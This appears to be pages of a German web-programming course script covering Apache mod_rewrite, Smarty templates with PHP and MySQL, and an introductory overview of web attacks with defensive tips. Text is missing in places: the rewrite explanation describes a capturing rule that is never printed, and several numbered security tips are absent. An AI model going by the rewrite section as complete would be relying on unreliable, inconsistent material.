Mit mod_rewrite kann man die URL komplett von der Struktur des Filesystems trennen. Wenn man
die mod_rewrite – Regeln in eine.htaccess –Datei im Ordner mini schreibt dann gelten diese Regeln
natürlich nur für URLs die mit http://ich.multimediatechnology.at/mini/ beginnen. Das Endergeb-
nis der Umschreibung wird schliesslich ganz normal als URL interpretiert.
RewriteEngine On
RewriteRule ^personen$ personen.php [L]
Diese Datei enthält eine Regel. Jede Regel besteht aus einem Suchmuster und einer neuen Schreib-
weise für die URL. Die erste Regel verwandelt die URL
http://ich.multimediatechnology.at/mini/personen in die neue URL
http://ich.multimediatechnology.at/mini/personen.php
Das Suchmuster dieser Regel enthält runde Klammern, diese dienen dazu einen Teil der URL einzu-
fangen und später als Variable wieder zu verwenden. Damit verwandelt diese Regel die URLs
http://ich.multimediatechnology.at/mini/person/1
http://ich.multimediatechnology.at/mini/person/2
http://ich.multimediatechnology.at/mini/person/gigsi/gagsi/gugsi
http://ich.multimediatechnology.at/mini/person.php?pid=1
http://ich.multimediatechnology.at/mini/person.php?pid=2
http://ich.multimediatechnology.at/mini/person.php?pid=gigsi/gagsi/gugsi
MMT Webprogrammierung 2 88
7. Ausblick
Die letzte Einheit bietet einen Rückblick und den Ausblick auf weiter Themen der Webprogrammie-
rung. Das Thema Security wird im Rückblick noch einmal behandelt
MMT Webprogrammierung 2 89
Für eine moderne Web-Applikation brauchen wir eine Mischung aus HTML, CSS, Javascript, PHP, SQL.
Im schlechtesten Fall ist all dieser Code in einer Datei gespeichert, und eng ineinander vermischt – so
wie in den bisher gezeigten Beispielen.
Wie kann man diese Code-Mischung verhindern, den Code durchschaubarer machen und die Arbeits-
teilung zwischen Design (HTML+CSS) und Programmierung (Javascript, PHP, SQL) erleichtern?
Das Smarty Template-System speichert die Templates in einem eigenen Ordner, die einzelnen Datei-
en können die Endung html haben. In einem zweiten Ordner templates_c speichert das System die
compilierten Templates.
<?php
require 'libs/Smarty.class.php';
$template = new Smarty;
$template->assign("pagetitle","Person");
// Zeugs berechnen, aus der Datenbank holen ...
$template->assign("vorname","Brigitte");
$template->display('person.html');
?>
In der Template-Datei gibt es includes und Variablen, in der speziellen Smarty-Schreibweise mit ge-
schwungenen Klammern:
MMT Webprogrammierung 2 90
{include file="header.tpl"}
<p>Es befinden sich {$anz_personen} Personen und {$anz_werke} Werke in der Datenbank</p>
{include file="footer.tpl"}
Die Variablen werden mit $template->assign in das Template gespeichert. Es können auch Arrays
oder komplexere Datenstrukturen an das Template übertragen werden. In folgendem Beispiel wird
ein Array von Arrays übertragen:
$ergebnis = mysqli_query ( $db, "SELECT * FROM person WHERE ifshow=1 ORDER BY nachname" );
while($person = mysqli_fetch_array($ergebnis)) {
$personen[] = $person;
}
$template->assign("personen", $personen);
<ul>
{foreach from=$personen item=person}
<li>
<b>{$person.vorname} {$person.nachname}</b>
<a href="person.php?pid={$person.pid}">mehr</a>
</li>
{/foreach}
</ul>
Im Template ist einfache Programmierung möglich. Dies sollte aber nur für die Darstellung von Daten
verwendet werden, nicht für wirkliche Berechnungen:
{if $isfemale}Frau{else}Herr{/if}
{$vorname} {$nachname} hat insgesamt {$anz} Werke in dieser Datenbank.
MMT Webprogrammierung 2 91
Sicherheit ist ein heikles Thema, deswegen eine Warnung vorneweg: dies ist keine vollständige Dar-
stellung aller möglichen Sicherheitsrisiken. Betrachten Sie dieses Kapitel nur als Einstieg in das Thema,
nicht als endgültige Abhandlung.
Egal wie klein, unwichtig, unbekannte Ihre Web-Applikation ist: das ist keine Ausrede dafür sich nicht
um Security zu kümmern.
Selbst die kleinste, unwichtigste, unbekannteste Applkation wird „zum Spaß“ von Vandalen angegrif-
fen. Selbst die kleinste, unwichtigste, unbekannteste Applikation wird angegriffen um Kontrolle über
den Server zu erlangen, und dann von diesem Server aus weitere Attacken auf weitere Ziele zu star-
ten.
Sie sind also nicht nur für sich selbst, sondern auch zum Schutz von Anderen für die Sicherheit Ihrer
Applikation verantwortlich.
Sie sollten dabei nicht vergessen: Die Einstiegsseite Ihrer Applikation ist nicht der einzige Angriffs-
punkt: jede einzelne URL der Applikation ist ein möglicher Angriffspunkt. Jede URL ist eine öffentliche
Schnittstelle der Webapplikation!
Was will die böse HackerIn erreichen? Hier ein paar Beispiele für mögliche Attacken:
Durch eine große Anzahl von Zugriffen den Server langsamer machen oder zum Absturz bringen (De-
nial of Service Attack, DoS).
Die Applikation dazu bringen, dass sie ein nicht vorgesehenes Verhalten zeigt, z.B. SPAM Mail ver-
sendet, Passwortdateien anzeigt, E-Mail Adressen von KundInnen anzeigt, …
Durch gezielte Eingaben nicht vorgesehene SQL-Befehle ausführen um Daten zu zerstören oder zu
erlangen (SQL Injection).
Einer UserIn Ihrer Applikation eine URL einer bekannten Applikation mailen die schon eine Session-ID
enthält; wenn sich die UserIn über diese URL anmeldet, kann die HackerIn die Session auch mitbe-
nutzen (Session Fixation).
MMT Webprogrammierung 2 92
Einer UserIn Ihrer Applikation eine URL oder eine HTML-Seite mailen, die (in Kombination mit den
Zugriffsrechten/Cookies dieser UserIn) unerwartetes Verhalten bei einer Web-Applikation bewirkt,
wenn diese aufgerufen/angzeigt wird (Phishing).
Die Applikation so manipulieren, dass anderen UserInnen HTML+Javascript-Code angezeigt wird, der
eine Attacke auf diese UserInnen ist (Cross Site Scripting) — um deren Cookies/Session auszulesen
oder deren Zugriffsrechte zu benutzen (Cross Site Request Forgerie).
Wenn verschiedene Leute einen Webserver teilen: die „NachbarInnen“ ausspionieren, gemeinsam
genutzte Pfade für Uploads und Sessions ausnutzen.
Tipp 1: Es gibt keine Security im Client! Z.B. Eingabeprüfung in Javascript ist nett, ersetzt aber keine
Eingabeprüfung am Server.
Tipp 2: Eingaben aus $_GET, $_COOKIE oder $_POST lesen, nicht aus $_REQUEST. Dort finden sich
Strings. Diese Strings prüfen und in den richtigen Datentyp konvertieren.
Tipp 3: Daten vor der Verwendung in SQL, auf der Kommandozeile, als URL oder als Webseite richtig
escapen. (Escapen ersetzt nicht die Prüfung!)
Tipp 5: Include-Dateien immer mit Endung .php speichern—nicht als .txt oder .inc, die könnten
über das Web sichtbar und lesbar sein.
Tipp 6: Niemals Datei-Uploads erlauben mit denen neue Dateien mit der Endung .php in den
Webspace geschrieben werden können.
Tipp 8: Sessions nicht nach dem Login weiter verwenden, sondern nach dem Login neue Session er-
zeugen mit session_regenerate_id().
Tipp 9: Wenn mehrere User einen Webserver teilen: mit den Konfigurations-Optionen open_basedir
und safe_mode möglichst getrennt halten.
MMT Webprogrammierung 2 93
Anhänge
Web + HTTP
HTML + CSS
Freeman, Elisabeth (2006): HTML mit CSS & XHTML von Kopf bis Fuß. O'Reilly. ISBN 978-3897214538
CEDERHOLM,Dan (2007): Bulletproof Webdesign (2. Ausgabe): Absolut flexibel und für alles gewapp-
net mit CSS und XHTML. Addison-Wesley, München. ISBN 382732629X.
PHP
KERSKEN,Sascha (2005): Praktischer Einstieg in MySQL mit PHP. O'Reilly Vlg GmbH & Co. ISBN
3897214032.
Lerdorf, Rasmus (2006): Programmieren mit PHP. O'Reilly; 2. Auflage. ISBN 978-3897214736
Javascript + AJAX
MORRISON,Michael (2008): Head First JavaScript (Head First). O'Reilly Media, . ISBN 0596527748.
CROCKFORD,Douglas (2008): JavaScript: The Good Parts. O'Reilly Media, . ISBN 0596517742.
Stichwortverzeichnis
.htaccess 83 opendir 20
closedir 20 Pattern 85
Datei .htaccess 83 Prepared Statement 58
Datei httpd.conf 83 readdir 20
Dienst 8 statefull 52
Fehlermeldung stateless 52
von Apache 84 Version
glob 20 PHP 10
htaccess 83 Webserver
httpd.conf 83 Log-Datei 83
Internet 26 Windows-Dienst 8
kompatibel 10 XAMPP Control Panel 8
Log-Datei Zugriffsbeschränkung 84
von Apache 83